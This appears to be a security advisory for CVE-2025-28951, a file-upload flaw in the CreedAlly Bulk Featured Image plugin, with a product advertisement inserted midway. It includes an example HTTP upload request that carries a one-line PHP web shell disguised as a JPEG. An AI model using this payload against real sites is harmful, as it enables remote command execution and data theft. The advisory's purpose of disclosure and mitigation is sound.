Overview
The CVE-2025-28951 is an Unrestricted Upload of File with Dangerous Type vulnerability found in CreedAlly’s Bulk Featured Image plugin. The vulnerability permits an attacker to upload a web shell to a web server, which could potentially lead to a total system compromise or data leakage. Given the severity of this vulnerability – a CVSS score of 9.1 – the implications of an exploit can be dire for any website using the affected versions of this plugin.
Vulnerability Summary
CVE ID: CVE-2025-28951
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
CreedAlly Bulk Featured Image | Up to and including 1.2.1
How the Exploit Works
The exploit takes advantage of the inadequate file validation mechanism in CreedAlly’s Bulk Featured Image plugin. An attacker can upload a web shell disguised as a legitimate file. Once the web shell is uploaded, it provides the attacker with remote control over the server. The attacker can then execute arbitrary commands, modify existing files, and even potentially access sensitive data, leading to a potential system compromise.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited:
POST /upload_file HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a file named “shell.php”, which is a web shell, disguised as an image file (jpeg). The web shell permits the attacker to execute arbitrary commands on the server by calling the ‘cmd’ GET parameter.
Countermeasures and Mitigation
Given the severity of this vulnerability, immediate action is required. Users are advised to apply the latest patch provided by the vendor. In the absence of a patch, or as a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used to detect and block attempts to exploit this vulnerability.